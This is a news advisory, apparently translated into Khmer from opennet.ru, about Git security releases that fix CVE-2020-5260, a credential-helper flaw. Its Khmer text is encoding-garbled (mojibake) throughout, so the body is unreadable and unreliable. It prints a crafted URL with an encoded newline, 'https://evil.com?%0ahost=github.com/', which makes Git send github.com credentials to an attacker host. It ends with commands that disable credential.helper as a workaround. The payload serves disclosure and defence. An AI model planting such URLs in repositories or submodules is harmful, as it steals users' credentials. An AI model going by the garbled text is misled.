Git แž—แžถแž–แž„แžถแž™แžšแž„แž‚แŸ’แžšแŸ„แŸ‡แž“แŸƒแž€แžถแžšแž›แŸแž…แž’แŸ’แž›แžถแž™แž–แŸแžแŸŒแž˜แžถแž“แžŸแž˜แŸ’แž„แžถแžแŸ‹

แž”แŸ„แŸ‡แž–แžปแž˜แŸ’แž–แž•แŸ’แžŸแžถแž™ แž€แžถแžšแž…แŸแž‰แž•แŸ’แžŸแžถแž™แž€แžถแžšแž€แŸ‚แžแž˜แŸ’แžšแžผแžœแž“แŸƒแž”แŸ’แžšแž–แŸแž“แŸ’แž’แž‚แŸ’แžšแž”แŸ‹แž‚แŸ’แžšแž„แž”แŸ’แžšแž—แž–แž…แŸ‚แž€แž…แžถแž™ Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 แž“แžทแž„ 2.17.4 แž“แŸ…แž€แŸ’แž“แžปแž„ แžŠแŸ‚แž›แž”แžถแž“แž›แžปแž”แž…แŸ„แž› แž—แžถแž–แž„แžถแž™แžšแž„แž‚แŸ’แžšแŸ„แŸ‡ (CVE-2020-5260) แž“แŸ…แž€แŸ’แž“แžปแž„แžขแŸ’แž“แž€แžŠแŸ„แŸ‡แžŸแŸ’แžšแžถแž™ "credential.helper" แžŠแŸ‚แž›แž”แžŽแŸ’แžแžถแž›แžฑแŸ’แž™แž˜แžถแž“แž€แžถแžšแž•แŸ’แž‰แžพแž›แžทแžแžทแžแžŸแž˜แŸ’แž‚แžถแž›แŸ‹แž‘แŸ…แž˜แŸ‰แžถแžŸแŸŠแžธแž“แžแžปแžŸ แž“แŸ…แž–แŸแž›แžŠแŸ‚แž›แžขแžแžทแžแžทแž‡แž“ git แž…แžผแž›แž”แŸ’แžšแžพแžƒแŸ’แž›แžถแŸ†แž„แžŠแŸ„แž™แž”แŸ’แžšแžพ URL แžŠแŸ‚แž›แž’แŸ’แžœแžพแž‘แŸ’แžšแž„แŸ‹แž‘แŸ’แžšแžถแž™แž–แžทแžŸแŸแžŸแžŠแŸ‚แž›แž˜แžถแž“แžแžฝแžขแž€แŸ’แžŸแžšแž”แž“แŸ’แž‘แžถแžแŸ‹แžแŸ’แž˜แžธแŸ” แž—แžถแž–แž„แžถแž™แžšแž„แž‚แŸ’แžšแŸ„แŸ‡แžขแžถแž…แžแŸ’แžšแžผแžœแž”แžถแž“แž”แŸ’แžšแžพแžŠแžพแž˜แŸ’แž”แžธแžšแŸ€แž”แž…แŸ†แžฑแŸ’แž™แž˜แžถแž“แž–แŸแžแŸŒแž˜แžถแž“แžŸแž˜แŸ’แž„แžถแžแŸ‹แž–แžธแž˜แŸ‰แžถแžŸแŸŠแžธแž“แž•แŸ’แžŸแŸแž„แž‘แŸ€แžแžŠแŸ‚แž›แžแŸ’แžšแžผแžœแž”แžถแž“แž”แž‰แŸ’แž‡แžผแž“แž‘แŸ…แž˜แŸ‰แžถแžŸแŸŠแžธแž“แž˜แŸแžŠแŸ‚แž›แž‚แŸ’แžšแž”แŸ‹แž‚แŸ’แžšแž„แžŠแŸ„แž™แžขแŸ’แž“แž€แžœแžถแž™แž”แŸ’แžšแž แžถแžšแŸ”

แž“แŸ…แž–แŸแž›แž”แž‰แŸ’แž‡แžถแž€แŸ‹ URL แžŠแžผแž…แž‡แžถ โ€œhttps://evil.com?%0ahost=github.com/โ€ แžขแŸ’แž“แž€แžŠแŸ„แŸ‡แžŸแŸ’แžšแžถแž™แž–แŸแžแŸŒแž˜แžถแž“แžŸแž˜แŸ’แž„แžถแžแŸ‹แž“แŸ…แž–แŸแž›แž—แŸ’แž‡แžถแž”แŸ‹แž‘แŸ… host evil.com แž“แžนแž„แž†แŸ’แž›แž„แž€แžถแžแŸ‹แž”แŸ‰แžถแžšแŸ‰แžถแž˜แŸ‰แŸ‚แžแŸ’แžšแž•แŸ’แž‘แŸ€แž„แž•แŸ’แž‘แžถแžแŸ‹แžŠแŸ‚แž›แž”แžถแž“แž”แž‰แŸ’แž‡แžถแž€แŸ‹แžŸแž˜แŸ’แžšแžถแž”แŸ‹ github.com แŸ” แž”แž‰แŸ’แž แžถแž€แžพแžแžกแžพแž„แž“แŸ…แž–แŸแž›แžขแž“แžปแžœแžแŸ’แžแž”แŸ’แžšแžแžทแž”แžแŸ’แžแžทแž€แžถแžšแžŠแžผแž…แž‡แžถ "git clone" แžšแžฝแž˜แž‘แžถแŸ†แž„แžŠแŸ†แžŽแžพแžšแž€แžถแžš URLs แžŸแž˜แŸ’แžšแžถแž”แŸ‹แž˜แŸ‰แžผแžŒแžปแž›แžšแž„ (แžงแž‘แžถแž แžšแžŽแŸ "git submodule update" แž“แžนแž„แžŠแŸ†แžŽแžพแžšแž€แžถแžšแžŠแŸ„แž™แžŸแŸ’แžœแŸแž™แž”แŸ’แžšแžœแžแŸ’แžแžทแž“แžผแžœ URLs แžŠแŸ‚แž›แž”แžถแž“แž”แž‰แŸ’แž‡แžถแž€แŸ‹แž“แŸ…แž€แŸ’แž“แžปแž„แžฏแž€แžŸแžถแžš .gitmodules แž–แžธแžƒแŸ’แž›แžถแŸ†แž„)แŸ” แž—แžถแž–แž„แžถแž™แžšแž„แž‚แŸ’แžšแŸ„แŸ‡แž‚แžบแž˜แžถแž“แž‚แŸ’แžšแŸ„แŸ‡แžแŸ’แž“แžถแž€แŸ‹แž”แŸ†แž•แžปแžแž“แŸ…แž€แŸ’แž“แžปแž„แžŸแŸ’แžแžถแž“แž—แžถแž–แžŠแŸ‚แž›แžขแŸ’แž“แž€แžขแž—แžทแžœแžŒแŸ’แžแž“แŸแž€แŸ’แž›แžผแž“แžƒแŸ’แž›แžถแŸ†แž„แžŠแŸ„แž™แž˜แžทแž“แžƒแžพแž‰ URL แžงแž‘แžถแž แžšแžŽแŸแž“แŸ…แž–แŸแž›แž’แŸ’แžœแžพแž€แžถแžšแž‡แžถแž˜แžฝแž™แž˜แŸ‰แžผแžŒแžปแž›แžšแž„ แžฌแž“แŸ…แž€แŸ’แž“แžปแž„แž”แŸ’แžšแž–แŸแž“แŸ’แž’แžŠแŸ‚แž›แž’แŸ’แžœแžพแžŸแž€แž˜แŸ’แž˜แž—แžถแž–แžŠแŸ„แž™แžŸแŸ’แžœแŸแž™แž”แŸ’แžšแžœแžแŸ’แžแžท แžงแž‘แžถแž แžšแžŽแŸแž“แŸ…แž€แŸ’แž“แžปแž„แžŸแŸ’แž‚แŸ’แžšแžธแž”แž”แž„แŸ’แž€แžพแžแž€แž‰แŸ’แž…แž”แŸ‹แŸ”

แžŠแžพแž˜แŸ’แž”แžธแž‘แž”แŸ‹แžŸแŸ’แž€แžถแžแŸ‹แž—แžถแž–แž„แžถแž™แžšแž„แž‚แŸ’แžšแŸ„แŸ‡แž“แŸ…แž€แŸ’แž“แžปแž„แž€แŸ†แžŽแŸ‚แžแŸ’แž˜แžธแŸ” แžแŸ’แžšแžผแžœแž”แžถแž“แž แžถแž˜แžƒแžถแžแŸ‹แŸ” แž†แŸ’แž›แž„แž€แžถแžแŸ‹แžแžฝแžขแž€แŸ’แžŸแžšแž”แž“แŸ’แž‘แžถแžแŸ‹แžแŸ’แž˜แžธแž“แŸ…แž€แŸ’แž“แžปแž„แžแž˜แŸ’แž›แŸƒแžŽแžถแž˜แžฝแž™แžŠแŸ‚แž›แž”แžถแž“แž”แž‰แŸ’แž‡แžผแž“แžแžถแž˜แžšแž™แŸˆแž–แžทแž’แžธแž€แžถแžšแž€แžถแžšแž•แŸ’แž›แžถแžŸแŸ‹แž”แŸ’แžแžผแžšแž›แžทแžแžทแžแžŸแž˜แŸ’แž‚แžถแž›แŸ‹แŸ” แžŸแž˜แŸ’แžšแžถแž”แŸ‹แž€แžถแžšแž…แŸ‚แž€แž…แžถแž™ แžขแŸ’แž“แž€แžขแžถแž…แžแžถแž˜แžŠแžถแž“แž€แžถแžšแž…แŸแž‰แž•แŸ’แžŸแžถแž™แž”แž…แŸ’แž…แžปแž”แŸ’แž”แž“แŸ’แž“แž—แžถแž–แž€แž‰แŸ’แž…แž”แŸ‹แž“แŸ…แž›แžพแž‘แŸ†แž–แŸแžš แžŠแŸแž”แŸ€แž“, แž‚แžผแž”แŸŠแžปแž“แž‘แžผ, แžขแžš, SUSE/openSUSE, Fedora, แžŸแŸ†แžแžถแž“แŸ‹แž”แŸ†แž•แžปแž, FreeBSD.

แž‡แžถแžŠแŸ†แžŽแŸ„แŸ‡แžŸแŸ’แžšแžถแž™แžŠแžพแž˜แŸ’แž”แžธแž‘แž”แŸ‹แžŸแŸ’แž€แžถแžแŸ‹แž”แž‰แŸ’แž แžถ แž”แžถแž“แžŽแŸ‚แž“แžถแŸ† แž€แžปแŸ†แž”แŸ’แžšแžพ credential.helper แž“แŸ…แž–แŸแž›แž…แžผแž›แž”แŸ’แžšแžพแžƒแŸ’แž›แžถแŸ†แž„แžŸแžถแž’แžถแžšแžŽแŸˆ แž แžพแž™แž€แžปแŸ†แž”แŸ’แžšแžพ "git clone" แž“แŸ…แž€แŸ’แž“แžปแž„แžšแž”แŸ€แž” "--recurse-submodules" แž‡แžถแž˜แžฝแž™แž“แžนแž„แžƒแŸ’แž›แžถแŸ†แž„แžŠแŸ‚แž›แž˜แžทแž“แž”แžถแž“แžแŸ’แžšแžฝแžแž–แžทแž“แžทแžแŸ’แž™แŸ” แžŠแžพแž˜แŸ’แž”แžธแž”แžทแž‘แž‘แžถแŸ†แž„แžŸแŸ’แžšแžปแž„ credential.helper handler แžŠแŸ‚แž›แž’แŸ’แžœแžพ แž€แžถแžšแžขแž—แžทแžšแž€แŸ’แžŸ แž“แžทแž„แž€แžถแžšแž‘แžถแž‰แž™แž€แž–แžถแž€แŸ’แž™แžŸแž˜แŸ’แž„แžถแžแŸ‹แž–แžธ แžƒแŸ’แž›แžถแŸ†แž„โ€‹แžŸแž˜แŸ’แž„แžถแžแŸ‹, แž€แžถแžšแž–แžถแžš แžƒแŸ’แž›แžถแŸ†แž„ แžฌแžฏแž€แžŸแžถแžšแžŠแŸ‚แž›แž˜แžถแž“แž–แžถแž€แŸ’แž™แžŸแž˜แŸ’แž„แžถแžแŸ‹ แžขแŸ’แž“แž€แžขแžถแž…แž”แŸ’แžšแžพแž–แžถแž€แŸ’แž™แž”แž‰แŸ’แž‡แžถแŸ–

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

แž”แŸ’แžšแž—แž–: opennet.ru

แž”แž“แŸ’แžแŸ‚แž˜แž˜แžแžทแž™แŸ„แž”แž›แŸ‹